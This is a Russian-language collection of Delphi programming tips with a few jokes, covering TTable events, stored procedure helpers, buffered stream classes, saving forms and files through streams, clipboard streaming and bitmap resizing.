| Программист обиделся, что о нем анекдот про 2 стакана сочинили (ну, вы знаете). Жалуется системному программисту. А тот задумался и говорит: - Нет, 2-х стаканов недостаточно. Нужно 4. - ??? - Системное резервирование. |
Добавьте в событие "BeforeInsert" Вашего TTables следующие строки:
procedure TForm1.Tbable1BeforeInsert(DataSet: TDataset); begin Abort; end; |
Или.
procedure TForm8.DBGrid1KeyDown(Sender: TObject;
var Key: Word; Shift: TShiftState);
begin
if (Key = VK_DOWN) then
begin
TTable1.DisableControls;
TTable1Next;
if TTable1.EOF then
Key := 0
else
TTable1.Prior;
TTable1.EnableControls;
end;
end;
|
Остановить длинное действие.
| Вовочка: -Папа, a что такое клитор? Папа,не отрываясь от компа: - Язык программирования. Работает с файлами DBF формата. |
Эта программа выходит из бесконечного цикла, если программу пытаются закрываеть.
procedure TForm1.Button1Click(Sender: TObject);
begin
randomize;
repeat
Form1.Canvas.Pixels[random(Form1.ClientWidth),
random(Form1.ClientHeight)] :=
RGB(random(255),random(255),random(255));
Application.ProcessMessages;
until
Application.Terminated;
end;
|
Эта программа останавливается при нажатии на Button2.
procedure TForm1.Button1Click(Sender: TObject);
begin
randomize;
Form1.Tag := 0;
repeat
Form1.Canvas.Pixels[random(Form1.ClientWidth),
random(Form1.ClientHeight)] :=
RGB(random(255),random(255),random(255));
Application.ProcessMessages;
until
Form1.Tag > 0;
end;
procedure TForm1.Button2Click(Sender: TObject);
begin
Form1.Tag := 1;
end;
|
StoredProc становится удобнее.
Автор: Павел Примерно через неделю после того, как программист впервые сталкивается с компонентом TStoredProc, предназначенным для вызова хранимых процедур БД, приходит понимание, что для работы с процедурами, которые не возвращают наборов данных (курсоров) лучше работать через один и тот же компонент, просто перенастраивая его. Итогом становится нагромождение однотипных строк кода, которые делают одно и то же. Сэкономлю вам еще одну неделю и предложу метод, который позволяет, как минимум, сократить количество строк, которые надо писать для вызова хранимых процедур. Решение Из чего же состоит процесс работы с компонентом TStoredProc? Часто это расподготовка (UnPrepare), присвоение имени хранимой процедуры, подготовка к запуску (Prepare), установка параметров, запуск и, наконец, получение результата. Автоматизировать данные действия я предлагаю с помощью одной процедуры и одной функции, которыми и сам нередко пользуюсь. Рекомендую их прописать в DataModule, в котором же находятся прочие ваши невизуальные компоненты для работы с БД (что, кстати говоря, является неплохим стилем).Процедура инициализации.
procedure Tdm.InitSProc(var aProc: TStoredProc; const ProcName: string); begin aProc.UnPrepare; aProc.StoredProcName := ProcName; aProc.Prepare; end;Вот такая вот простенькая функция, которая убивает список параметров старой процедуры, присваивает новое имя хранимой процедуры и создает список параметров новой процедуры. Плюсы - экономия двух строк кода и лучшая читабельность текста.
Функция запуска.
function Tdm.ExecSProc(var aProc: TStoredProc): integer;
begin
Result := -1;
aProc.Prepare;
aProc.ExecProc;
try
if aProc.Params.FindParam('Result') <> nil then
Result := aProc.ParamByName('Result').AsInteger;
except
Result := -1;
end;
end;
Эта функция запускает ранее заданную хранимую процедуру и, в случае ошибки или, если хранимая процедура возвращает не числовой результат (не возвращает его вовсе), возвращает -1. Во всех остальных случаях функция возвращает значение параметра "Result", то есть, ответ хранимой процедуры.
Пример.
with dm do
begin
InitSProc('PKPG_CONSREPS.CHECK_ENABLED_VERSION');
pExec.ParamByName('xTypeID').Value := eType.KeyValue;
i := ExecSProc;
if i > 0 then
begin
ModalResult := mrCancel;
ErrorMessage(SomeMsg, mtWarning, 'Проблема');
exit;
end;
end;
Вот так я использую это в жизни (параметр aProc я не передаю, он у меня фиксированный). И, надо сказать, жизнь мне эти две простенькие функции сильно упрощают. На этом очередная маленькая хитрость подошла к концу.
Всем успехов.
Проблемы StoredProc у SQL server.
Автор: David Gecawich Обнаруженная мною проблема заключается в ненормальной работе BDE с TStoredProc, когда хранимая процедура SQL получает на входе параметр типа String. Как я понял, BDE/SQL Links перед вызовом хранимой процедуры заносит в строку управляющие символы. Чтобы обойти эту проблему, Borland предлагает использовать TQuery. Конечно, ничего не стоит перевести TStoredProcs в TQuerys (с сохранением полного набора характеристик и без потери скорости), но мне стала интересна причина такого поведения компонента, и я решил покопаться в TStoredProc насколько это было мне возможно и интересно, для чего я добавил дополнительный параметр к хранимой процедуре, позволяющий указывать длину передаваемой процедуре строки. Затем, уже в процедуре, если реальная длина строки оказывалась больше, с помощью дополнительно передаваемого параметра бралась, и в дальнейшем использовалась только левая часть строки, а остальные управляющие символы игнорировались. Вот пример: Приведенная ниже процедура SQL Server возвращает 1 если таблица существует, и 2 в противном случае.
CREATE PROCEDURE up_TableExists
( @TableName varchar(50), @TableNameLen int = null)
AS
declare @CleanTblName varchar(50)
if @TableNameLen is not null
select @CleanTblName = SubString(@TableName,1,@TableNameLen)
else
select @CleanTblName = @TableName
if EXISTS (SELECT name FROM sysobjects WHERE name = @CleanTblName)
RETURN 1
else
RETURN 2
Поехали...
В Delphi, прежде чем вызвать ExecProc, установите параметр длины строки... вот пример вызова хранимой процедуры в Delphi...
var
sTableName: string;
rc: Boolean;
begin
...
sTableName := 'MyTable';
with StoredProc1 do
begin
...
ParamByName('@TableName').AsString := sTableName;
{ обход проблемы: передаем длину строки SQL Server для
обработки хранимой процедурой }
ParamByName('@TableNameLen').AsInteger := Length(sTableName);
Prepare;
ExecProc;
rc := ParamByName('Result').AsInteger = 1; {rc True если result = 1}
if rc then
....
end;
end;
|
Хранимые процедуры.
Оформил: DeeCo
procedure TForm1.BGetClick(Sender: TObject);
begin
with ProcGetInf do
begin
ParamByName('pFam').AsString := FamEdit.Text;
ParamByName('pNam').AsString := NamEdit.Text;
ParamByName('pPar').AsString := ParEdit.Text;
ExecProc;
if ParamByName('pYear').AsInteger = 0 then
MessageDlg('В базе данных запись отсутствует', mtError, [mbCancel], 0)
else
begin
SYear.Value := ParamByName('pYear').AsInteger;
CBDep.Text := ParamByName('pDep').AsString;
if ParamByName('pSex').AsString = 'м' then
RGSex.ItemIndex := 0
else
RGSex.ItemIndex := 1;
end;
end;
end;
Полный текст модуля:
unit UStoreP;
interface
uses
SysUtils, WinTypes, WinProcs, Messages, Classes, Graphics, Controls,
Forms, Dialogs, DBTables, DB, Grids, DBGrids, StdCtrls, Spin, ExtCtrls;
type
TForm1 = class(TForm)
Database1: TDatabase;
DataSource1: TDataSource;
ResLabel: TLabel;
ProcGetInf: TStoredProc;
ProcSetInf: TStoredProc;
Table1: TTable;
Query1: TQuery;
DataSource2: TDataSource;
Query1PFAM: TStringField;
Query1PNAM: TStringField;
Query1PPAR: TStringField;
Query1PYEAR: TIntegerField;
Query1PSEX: TStringField;
PTop: TPanel;
LFam: TLabel;
LNam: TLabel;
LPar: TLabel;
FamEdit: TEdit;
BGet: TButton;
BSet: TButton;
LSex: TLabel;
LYear: TLabel;
LDep: TLabel;
SYear: TSpinEdit;
RGSex: TRadioGroup;
BExit: TButton;
CBDep: TComboBox;
NamEdit: TEdit;
ParEdit: TEdit;
PMid: TPanel;
DBGrid2: TDBGrid;
CBDep2: TComboBox;
Label1: TLabel;
PButtom: TPanel;
DBGrid1: TDBGrid;
Titul1: TLabel;
Titul2: TLabel;
Titul3: TLabel;
Table1NUM: TSmallintField;
Table1DEP: TStringField;
Table1FAM: TStringField;
Table1NAM: TStringField;
Table1PAR: TStringField;
Table1YEAR_B: TSmallintField;
Table1SEX: TStringField;
procedure BGetClick(Sender: TObject);
procedure FamEditEnter(Sender: TObject);
procedure BSetClick(Sender: TObject);
procedure BExitClick(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure CBDep2Change(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.DFM}
procedure TForm1.BGetClick(Sender: TObject);
begin
with ProcGetInf do
begin
ParamByName('pFam').AsString := FamEdit.Text;
ParamByName('pNam').AsString := NamEdit.Text;
ParamByName('pPar').AsString := ParEdit.Text;
ExecProc;
if ParamByName('pYear').AsInteger = 0 then
MessageDlg('В базе данных запись отсутствует', mtError, [mbCancel], 0)
else
begin
SYear.Value := ParamByName('pYear').AsInteger;
CBDep.Text := ParamByName('pDep').AsString;
if ParamByName('pSex').AsString = 'м' then
RGSex.ItemIndex := 0
else
RGSex.ItemIndex := 1;
end;
end;
end;
procedure TForm1.FamEditEnter(Sender: TObject);
begin
SYear.Value := 0;
CBDep.Text := '';
RGSex.ItemIndex := -1;
end;
procedure TForm1.BSetClick(Sender: TObject);
begin
with ProcSetInf do
begin
ParamByName('pFam').AsString := FamEdit.Text;
ParamByName('pNam').AsString := NamEdit.Text;
ParamByName('pPar').AsString := ParEdit.Text;
ParamByName('pDep').AsString := CBDep.Text;
ParamByName('pYear').AsInteger := SYear.Value;
if RGSex.ItemIndex = 1 then
ParamByName('pSex').AsString := 'ж'
else
ParamByName('pSex').AsString := 'м';
ExecProc;
if ParamByName('mess').AsInteger = 0 then
MessageDlg('В базе данных запись отсутствует',
mtError, [mbCancel], 0)
else
begin
MessageDlg('Запись проведена успешно', mtCustom, [mbOk], 0);
Table1.Close;
Table1.Open;
Query1.Close;
Query1.Open;
end;
end;
end;
procedure TForm1.BExitClick(Sender: TObject);
begin
Close;
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
CBDep2.ItemIndex := 0;
CBDep2Change(Sender);
end;
procedure TForm1.CBDep2Change(Sender: TObject);
begin
Query1.Close;
Query1.ParamByName('pDep').AsString := CBDep2.Text;
Query1.Open;
end;
end.
Сохранение типа данных множество (TFontStyles).
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
{You do that simple by converting it to an integer, and then stores that:}
type
pFontStyles = ^TFontStyles;
pInteger = ^integer;
function FontStylesToInteger(const Value : TFontStyles): integer;
begin
Result := pInteger(@Value)^;
end;
function IntegerToFontStyles(const Value : integer): TFontStyles;
begin
Result := pFontStyles(@Value)^;
end;
StrAlloc и GetMem.
StrAlloc непосредственно использует GetMem, поэтому обе функции живут за счет Кучи. StrAlloc имеет преимущество: он распределяет на два байта больше, чем вы просите и там хранит размер размещенного блока. Поэтому StrDispose знает сколько памяти освободить и вы можете этого не помнить (в отличие от GetMem/FreeMem). Не смешивайте при работе эти две функциональные пары, иначе вы будете потрясены количеством возникающих ошибок!
Буферы для потоков.
Оформил: DeeCo
Автор: Сергей Парунов.
Стандартные потоки, широко применяющиеся в Delphi, резко упрощают повседневную работу с потоковыми данными. Но и у них есть недостаток. Дело в том, что в VCL потоки, и, главное, их базовый класс TStream, реализованы "в лоб": без всяких хитростей данные немедленно препровождаются по назначению (например, в файл). И такие операции занимают весьма значительное время (многие сотни машинных команд). Хорошо, если надо работать с "крупными" данными (килобайт и выше) - а если данные небольшие и разнообразные, замедление достигает 100 и более раз (на типе Char). Стандартный способ ускорения подобных операций - работа с массивами элементов, вводя-выводя их в/из потока сразу. Но, во-первых, это значительно сложнее поэлементных операций, а во-вторых, если элементы имеют непостоянную длину, становится ещё сложнее. Делая небольшое отступление, замечу, что стандартная библиотека потокового ввода-вывода в большинстве реализаций C++ сделана не так - там потоки могут сами буферизовать передаваемые данные. Не понимаю, почему в Borland решили обойтись без этого. Единственное приходящее в голову объяснение - они твёрдо рассчитывали на "крупный" и "средний" обмен данными, который оптимально производить как раз без буферизации. Действительно, если посмотреть на C++ - сразу кружится голова от количества команд, необходимых для обслуживания буфера. Связано это с тем, что потоки могут попеременно читаться и писаться, а кроме того, одновременно использоваться многими потоками кода. Ввиду этих проблем мной были написаны сравнительно простые буферные классы (работают на Delphi версий 4-5, должны работать и на последующих, а вот 3 версия уже не поддерживает перегрузку методов - в принципе, переписать и тут несложно), позволяющие производить буферизованный обмен с любыми потоками. В целях максимального ускорения работы классы эти, во-первых, не "thread-safe", а во-вторых, это два разных класса - для записи и для чтения - унаследованных от одного базового (кроме TObject, разумеется). Классы "пристёгиваются" к потоку (кстати, в C++ это делается практически так же) - и пользуются ими только для "крупного" обмена, осуществляя "мелкий" самостоятельно со своим буфером.
ByteArray = packed array of Byte;
psnAbstractStreamBuffer = class {
Абстрактный предок классов для БЫСТРОЙ (буферизованно: вся цепочка до
API-функций задействуется только при переполнении буфера, что даёт ускорение
на порядок для данных длиной несколько байт) и УДОБНОЙ (перегруженные методы
для разных типов данных позволяют не задавать их размер, хотя можно и так)
бинарной работы с потоками заданной структуры. Принцип действия прост:
накопление данных в буфере и сброс в поток - у буфера записи; чтение из
потока и раздача данных из буфера - у буфера чтения. О позиции потока буфер
не заботится - просто пишет или читает в текущей. А иначе будет монстр.
Опасно что-то делать с потоком (хотя кому это надо?), когда к нему
присоединён буфер, ведь буфер может переписать поток, прочитать устаревшие
данные или сделать это не там, где надо. Перед подобными операциями
сбрасывйте буфер методом Flush (при смене присоединённого потока (свойство
Stream) и разрушении буфера это делается автоматически). Это касается и
попеременной работы буферов чтения и записи с одним потоком... хотя зачем
тогда буфер - чтобы постоянно его сбрасывать и устанавливать позицию потока?
При ошибках чтения и записи возникают стандартные VCL-исключения EReadError
и EWriteError.}
private
FStream: TStream; {присоединённый поток}
FSize: Cardinal; {размер буфера}
FBuffer, {буфер}
FBufferEnd: PChar; {конец буфера (сразу за последним байтом) - понятно, что
вместе с FSize и FBuffer избыточно, но это повысит скорость и упростит код}
procedure SetStream(const Value: TStream);
protected
FCurrPos: PChar; {текущая позиция в буфере}
property Size: Cardinal read FSize;
property Buffer: PChar read FBuffer;
property BufferEnd: PChar read FBufferEnd;
constructor Create(const Stream: TStream; const Size: Cardinal);
public
property Stream: TStream read FStream write SetStream; {<> Nil !!!}
procedure Flush; virtual; abstract; {сброс}
destructor Destroy; override; {Stream разрушайте сами, если надо, ПОСЛЕ
разрушения буфера}
end;
psnStreamWriter = class(psnAbstractStreamBuffer)
public
constructor Create(
const Stream: TStream; {присоединённый поток, меняется свойством Stream}
const Size: Cardinal = 1024 {размер буфера}
);
procedure Flush; override;
procedure WriteBuffer(const Data; const Count: Cardinal); {Этот метод
не перегружен с Write, так как Delphi (4-5, во всяком случае) плохо выносит
перегруженные методы, когда один из них имеет бестиповые параметры: Code
Explorer сходит с ума, а Code Completion вообще хулиганит - самовольно
добавляет раздел Private и дублирует объявление метода (без overload!!!)
там, а потом ругается: мол, первый метод не был объявлен как overload).}
procedure Write(const Data: Byte); overload;
procedure Write(const Data: Word); overload;
procedure Write(const Data: LongWord); overload;
procedure Write(const Data: Integer); overload;
procedure Write(const Data: Single); overload;
procedure Write(const Data: Double); overload;
procedure Write(const Data: Extended); overload;
procedure Write(const Data: string); overload;
procedure Write(const Data: ByteArray); overload;
end;
psnStreamReader = class(psnAbstractStreamBuffer)
public
constructor Create(
const Stream: TStream; {присоединённый поток, меняется свойством Stream}
const Size: Cardinal = 1024 {размер буфера}
);
procedure Flush; override;
procedure ReadBuffer(out Data; const Count: Cardinal);
procedure Read(out Data: Byte); overload;
procedure Read(out Data: Word); overload;
procedure Read(out Data: LongWord); overload;
procedure Read(out Data: Integer); overload;
procedure Read(out Data: Single); overload;
procedure Read(out Data: Double); overload;
procedure Read(out Data: Extended); overload;
procedure Read(out Data: string); overload;
procedure Read(out Data: ByteArray); overload;
end;
Их методы WriteBuffer и ReadBuffer работают аналогично одноименным методам класса TStream, то есть они генерируют стандартные VCL-исключения EWriteError и EReadError при невозможности осуществления операции. Причина этого в том, что, в конце концов, вы должны знать формат своего файла, а не я :). Кроме того, если кто не знает, исключения ускоряют работу по сравнению с постоянной проверкой результата (если секция try...finally или try...except содержит цикл, а не наоборот).
EWriteError может возникнуть много позже того, как в буферный класс поступят первые "не вмещающиеся" данные (но до того, как будет разорвана связь буферного класса и потока!) - ведь они буферизуются. В большинстве случаев это не критично: если в поток не удалось записать, можно "тушить свет" - это серьёзная ошибка, и поток к дальнейшему употреблению всё равно непригоден.
В силу того, что "мелкий" обмен с потоками часто производится типизированно - например, чтение строк или чисел с плавающей точкой - классы дополнены перегруженными методами Write и Read для распространённых типов, позволяющими не раздувать исходный (и машинный) код, постоянно указывая размеры передаваемых данных. Эти методы настолько просты, что расширение их набора не представляет проблем - фактически они просто транслируются в вызовы WriteBuffer и ReadBuffer.
В заключение остаётся предупредить, что во избежание ошибок прежде, чем что-то делать с потоком (позицию сменить, прочитать/записать что-то помимо данного буферного класса или пристегнуть другой поток - это свойство Stream), необходимо сбросить буфер методом Flush.
Сохранение и загрузка формы с компонентами потоком.
unit InfoForm;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms,
StdCtrls, ExtCtrls, Buttons, Clipbrd, Comctrls, Db, Dbcgrids,
Dbctrls, Dbgrids, Dblookup, Dbtables, Ddeman, Dialogs,
Filectrl, Grids, Mask, Menus, Mplayer, Oleconst, Olectnrs,
Olectrls, Outline, Tabnotbk, Tabs;
type
TMainForm = class(TForm)
Panel1: TPanel;
ComboBox1: TComboBox;
Label1: TLabel;
Label2: TLabel;
ComboBox2: TComboBox;
SpeedSaveForm: TSpeedButton;
SpeedText: TSpeedButton;
SpeedLoadForm: TSpeedButton;
SpeedSavePas: TSpeedButton;
OpenDialog1: TOpenDialog;
SaveDialog1: TSaveDialog;
procedure FormCreate(Sender: TObject);
procedure SpeedSaveFormClick(Sender: TObject);
procedure SpeedLoadFormClick(Sender: TObject);
procedure SpeedSavePasClick(Sender: TObject);
procedure SpeedTextClick(Sender: TObject);
public
function GetNextName (MyClass: TComponentClass): string;
procedure UpdateList;
end;
var
MainForm: TMainForm;
implementation
{$R *.DFM}
uses
OutForm, MemoF;
type
TClassArray = array [1..107] of TPersistentClass;
// definition temporary used to check the data types
// TClassArray = array [1..107] of TComponentClass;
const
ClassArray: TClassArray = (
TApplication, TDDEServerItem, TPanel, TAutoIncField,
TDirectoryListBox, TPopupMenu, TBatchMove, TDrawGrid,
TPrintDialog, TBCDField, TDriveComboBox, TPrinterSetupDialog,
TBevel, TEdit, TProgressBar, TBitBtn,
TField, TQuery, TBlobField, TFileListBox,
TRadioButton, TBooleanField, TFilterComboBox, TRadioGroup,
TButton, TFindDialog, TReplaceDialog, TBytesField,
TFloatField, TCheckBox, TFontDialog,
TRichEdit, TColorDialog, TForm, TSaveDialog,
TComboBox, TGraphicField, TScreen, TCurrencyField,
TGroupBox, TScrollBar, TDatabase, THeader,
TScrollBox, TDataSource, THeaderControl, TSession,
TDateField, THotKey, TShape, TDateTimeField,
TImage, TSmallIntField, TDBCheckBox, TImageList,
TSpeedButton, TDBComboBox, TIntegerField, TStatusBar,
TDBCtrlGrid, TLabel, TStoredProc, TDBEdit,
TListBox, TStringField, TDBGrid, TListView,
TStringGrid, TDBImage, TMainMenu, TTabbedNotebook,
TDBListBox, TMaskEdit, TTabControl, TDBLookupCombo,
TMediaPlayer, TTable, TMemoField, TDBLookupComboBox,
TMemo, TTabSet, TDBLookupList, TTabSheet,
TDBLookupListBox, TMenuItem, TTimeField, TDBMemo,
TNotebook, TDBNavigator, TOleContainer, TTimer,
TDBRadioGroup, TOpenDialog, TTrackBar, TDBText,
TOutline, TTreeView, TDDEClientConv, TOutline,
TUpdateSQL, TDDEClientItem, TPageControl, TUpDown,
TDDEServerConv, TPaintBox, TVarBytesField, TWordField);
procedure TMainForm.FormCreate(Sender: TObject);
var
I: Integer;
begin
// register all of the classes
RegisterClasses (Slice (ClassArray, High (ClassArray)));
// copy class names to the listbox
for I := Low (ClassArray) to High (ClassArray) do
ComboBox1.Items.Add (ClassArray [I].ClassName);
end;
function TMainForm.GetNextName (MyClass: TComponentClass): string;
var
I, nTot: Integer;
begin
nTot := 0;
with OutputForm do
begin
for I := 0 to ComponentCount - 1 do
if Components [I].ClassType = MyClass then
Inc (nTot);
Result := Copy (MyClass.ClassName, 2, Length (MyClass.ClassName) - 1) +
IntToStr (nTot);
end;
end;
procedure TMainForm.UpdateList;
var
I: Integer;
begin
Combobox2.Items.Clear;
with OutputForm do
for I := 0 to ComponentCount - 1 do
ComboBox2.Items.Add (Components [I].Name);
end;
procedure TMainForm.SpeedSaveFormClick(Sender: TObject);
var
Str1 : TFileStream;
begin
if SaveDialog1.Execute then
begin
Str1 := TFileStream.Create (SaveDialog1.FileName,
fmOpenWrite or fmCreate);
try
// disable the event
OutputForm.OnMouseDown := nil;
Str1.WriteComponentRes (
OutputForm.ClassName, OutputForm);
finally
Str1.Free;
OutputForm.OnMouseDown := OutputForm.FormMouseDown;
end;
end;
end;
procedure TMainForm.SpeedLoadFormClick(Sender: TObject);
var
Str1: TFileStream;
TempForm1: TOutputForm;
begin
if OpenDialog1.Execute then
begin
Str1 := TFileStream.Create (OpenDialog1.FileName,
fmOpenRead);
try
TempForm1 := TOutputForm.Create (Application);
Str1.ReadComponentRes (TempForm1);
OutputForm.Free;
OutputForm := TempForm1;
OutputForm.Show;
OutputForm.OnMouseDown := OutputForm.FormMouseDown;
finally
Str1.Free;
end;
end;
end;
procedure TMainForm.SpeedSavePasClick(Sender: TObject);
var
File1 : TextFile;
FileName: string;
I: Integer;
begin
// save the DFM file
SpeedSaveFormClick (self);
// change extension (using the proper VCL routine)
FileName := SaveDialog1.FileName;
FileName := ChangeFileExt (FileName, '.pas');
AssignFile (File1, FileName);
try
// create the pascal file...
Rewrite (File1);
FileName := ChangeFileExt (FileName, '');
Writeln (File1, 'unit ' + ExtractFileName (FileName) + ';');
Writeln (File1, '');
Writeln (File1, 'interface');
Writeln (File1, '');
Writeln (File1, 'uses');
Writeln (File1, ' Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms,');
Writeln (File1, ' StdCtrls, ExtCtrls, Buttons, Clipbrd, Comctrls, Db, Dbcgrids,');
Writeln (File1, ' Dbctrls, Dbgrids, Dblookup, Dbtables, Ddeman, Dialogs,');
Writeln (File1, ' Filectrl, Grids, Mask, Menus, Mplayer, Oleconst, Olectnrs,');
Writeln (File1, ' Olectrls, Outline, Tabnotbk, Tabs;');
Writeln (File1, '');
Writeln (File1, 'type');
Writeln (File1, ' TOutputForm = class(TForm)');
// add components declarations
for I := 0 to OutputForm.ComponentCount - 1 do
begin
Writeln (File1, ' ' +
OutputForm.Components[I].Name + ': ' +
OutputForm.Components[I].ClassName + ';');
end;
Writeln (File1, ' private');
Writeln (File1, ' { Private declarations }');
Writeln (File1, ' public');
Writeln (File1, ' { Public declarations }');
Writeln (File1, ' end;');
Writeln (File1, '');
Writeln (File1, 'var');
Writeln (File1, ' OutputForm: TOutputForm;');
Writeln (File1, '');
Writeln (File1, 'implementation');
Writeln (File1, '');
Writeln (File1, '{$R *.DFM}');
Writeln (File1, '');
Writeln (File1, 'end.');
finally
CloseFile (File1);
end;
end;
procedure TMainForm.SpeedTextClick(Sender: TObject);
var
StrBin, StrTxt: TMemoryStream;
begin
StrBin := TMemoryStream.Create;
StrTxt := TMemoryStream.Create;
try
OutputForm.OnMouseDown := nil;
// write the form to a memory stream
StrBin.WriteComponentRes (
OutputForm.ClassName, OutputForm);
// go back to the beginning
StrBin.Seek (0, soFromBeginning);
// convert the form to text
ObjectResourceToText (StrBin, StrTxt);
// go back to the beginning
StrTxt.Seek (0, soFromBeginning);
// load the text
FormMemo.Memo1.Lines.LoadFromStream (StrTxt);
FormMemo.ShowModal;
finally
StrBin.Free;
StrTxt.Free;
OutputForm.OnMouseDown := OutputForm.FormMouseDown;
end;
end;
end.
|
unit MemoF;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls, Buttons, ExtCtrls;
type
TFormMemo = class(TForm)
Memo1: TMemo;
BitBtn1: TBitBtn;
Panel1: TPanel;
BitBtn2: TBitBtn;
procedure FormResize(Sender: TObject);
procedure BitBtn2Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
FormMemo: TFormMemo;
implementation
uses OutForm;
{$R *.DFM}
procedure TFormMemo.FormResize(Sender: TObject);
begin
// approximately in the middle
BitBtn1.Left := Panel1.Width div 2 - BitBtn1.Width - 5;
BitBtn2.Left := Panel1.Width div 2 + 5;
end;
procedure TFormMemo.BitBtn2Click(Sender: TObject);
var
StrBin, StrTxt: TMemoryStream;
TempForm1: TOutputForm;
begin
StrBin := TMemoryStream.Create;
StrTxt := TMemoryStream.Create;
// copy the text of the memo
Memo1.Lines.SaveToStream (StrTxt);
// go back to the beginning
StrTxt.Seek (0, soFromBeginning);
try
// convert to binary
ObjectTextToResource (StrTxt, StrBin);
// go back to the beginning
StrBin.Seek (0, soFromBeginning);
// loading code...
TempForm1 := TOutputForm.Create (Application);
StrBin.ReadComponentRes (TempForm1);
OutputForm.Free;
OutputForm := TempForm1;
OutputForm.Show;
// close the memo form
ModalResult := mrOk;
except
on E: Exception do
begin
E.Message :=
'Error converting form'#13#13 +
'(' + E.MEssage + ')';
Application.ShowException (E);
end;
end;
end;
end.
|
unit OutForm;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs;
type
TOutputForm = class(TForm)
procedure FormMouseDown(Sender: TObject; Button: TMouseButton;
Shift: TShiftState; X, Y: Integer);
private
{ Private declarations }
public
{ Public declarations }
end;
var
OutputForm: TOutputForm;
implementation
{$R *.DFM}
uses
InfoForm;
procedure TOutputForm.FormMouseDown (
Sender: TObject; Button: TMouseButton;
Shift: TShiftState; X, Y: Integer);
var
MyClass: TComponentClass;
MyComp: TComponent;
begin
MyClass := TComponentClass (
GetClass (MainForm.ComboBox1.Text));
if MyClass = nil then
Beep
else
begin
MyComp := MyClass.Create (self);
MyComp.Name := MainForm.GetNextName (MyClass);
if MyClass.InheritsFrom (TControl) then
begin
TControl (MyComp).Left := X;
TControl (MyComp).Top := Y;
TControl (MyComp).Parent := self;
end;
end;
MainForm.UpdateList;
end;
initialization
RegisterClass (TOutputForm);
end.
|
Загрузить весь проект
Копирование файлов потоком.
unit MemoForm;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls, ExtCtrls;
type
TForm1 = class(TForm)
SaveDialog1: TSaveDialog;
Memo1: TMemo;
OpenDialog1: TOpenDialog;
Panel1: TPanel;
ButtonLoadMemo: TButton;
ButtonSaveMemo: TButton;
ButtonCopyFile: TButton;
procedure ButtonSaveMemoClick(Sender: TObject);
procedure ButtonLoadMemoClick(Sender: TObject);
procedure ButtonCopyFileClick(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.DFM}
procedure TForm1.ButtonSaveMemoClick(Sender: TObject);
var
MyStream: TFileStream;
begin
if SaveDialog1.Execute then
begin
if FileExists (SaveDialog1.FileName) then
MyStream := TFileStream.Create (
SaveDialog1.FileName, fmOpenWrite)
else
MyStream := TFileStream.Create (
SaveDialog1.FileName, fmOpenWrite or fmCreate);
try
Memo1.Lines.SaveToStream (MyStream);
finally
MyStream.Free;
end;
end;
end;
procedure TForm1.ButtonLoadMemoClick(Sender: TObject);
var
MyStream: TFileStream;
begin
if OpenDialog1.Execute then
begin
MyStream := TFileStream.Create (
OpenDialog1.FileName, fmOpenRead);
try
Memo1.Lines.LoadFromStream (MyStream);
finally
MyStream.Free;
end;
end;
end;
procedure TForm1.ButtonCopyFileClick(Sender: TObject);
var
Stream1, Stream2: TFileStream;
begin
if OpenDialog1.Execute and SaveDialog1.Execute then
begin
Stream1 := TFileStream.Create (
OpenDialog1.FileName, fmOpenRead);
try
Stream2 := TFileStream.Create (
SaveDialog1.FileName, fmOpenWrite or fmCreate);
try
Stream2.CopyFrom (Stream1, Stream1.Size);
finally
Stream2.Free;
end;
finally
Stream1.Free;
end;
end;
end;
end.
|
Загрузить весь проект
Копирование потока компонент в буфер обмена.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
{
Clipboard has methods GetComponent and SetComponent but we need
to stream multiple components to the clipboard to include copy paste type
of feature.
Die Zwischenablage hat die Methoden GetComponent and SetComponent
aber wir wollen mehrere Komponenten in die
Zwischenablage speichern und wieder auslesen.
}
procedure CopyStreamToClipboard(fmt: Cardinal; S: TStream);
var
hMem: THandle;
pMem: Pointer;
begin
S.Position := 0;
hMem := GlobalAlloc(GHND or GMEM_DDESHARE, S.Size);
if hMem <> 0 then
begin
pMem := GlobalLock(hMem);
if pMem <> nil then
begin
S.Read(pMem^, S.Size);
S.Position := 0;
GlobalUnlock(hMem);
Clipboard.Open;
try
Clipboard.SetAsHandle(fmt, hMem);
finally
Clipboard.Close;
end;
end { If }
else
begin
GlobalFree(hMem);
OutOfMemoryError;
end;
end { If }
else
OutOfMemoryError;
end; { CopyStreamToClipboard }
procedure CopyStreamFromClipboard(fmt: Cardinal; S: TStream);
var
hMem: THandle;
pMem: Pointer;
begin
hMem := Clipboard.GetAsHandle(fmt);
if hMem <> 0 then
begin
pMem := GlobalLock(hMem);
if pMem <> nil then
begin
S.Write(pMem^, GlobalSize(hMem));
S.Position := 0;
GlobalUnlock(hMem);
end { If }
else
raise Exception.Create('CopyStreamFromClipboard: could not lock global handle ' +
'obtained from clipboard!');
end; { If }
end; { CopyStreamFromClipboard }
Растянуть растровый рисунок.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
// This function stretches a bitmap with specified number of pixels
// in horizontal, vertical dimension
// Example Call : ResizeBmp(Image1.Picture.Bitmap , 200 , 200);
// Diese Funktion zerrt eine Bitmap in die anzugebenden Pixel
// Beispielaufruf : ResizeBmp(Image1.Picture.Bitmap , 200 , 200);
function TForm1.ResizeBmp(bitmp: TBitmap; wid, hei: Integer): Boolean;
var
TmpBmp: TBitmap;
ARect: TRect;
begin
Result := False;
try
TmpBmp := TBitmap.Create;
try
TmpBmp.Width := wid;
TmpBmp.Height := hei;
ARect := Rect(0,0, wid, hei);
TmpBmp.Canvas.StretchDraw(ARect, Bitmp);
bitmp.Assign(TmpBmp);
finally
TmpBmp.Free;
end;
Result := True;
except
Result := False;
end;
end;
Растягивание иконки.
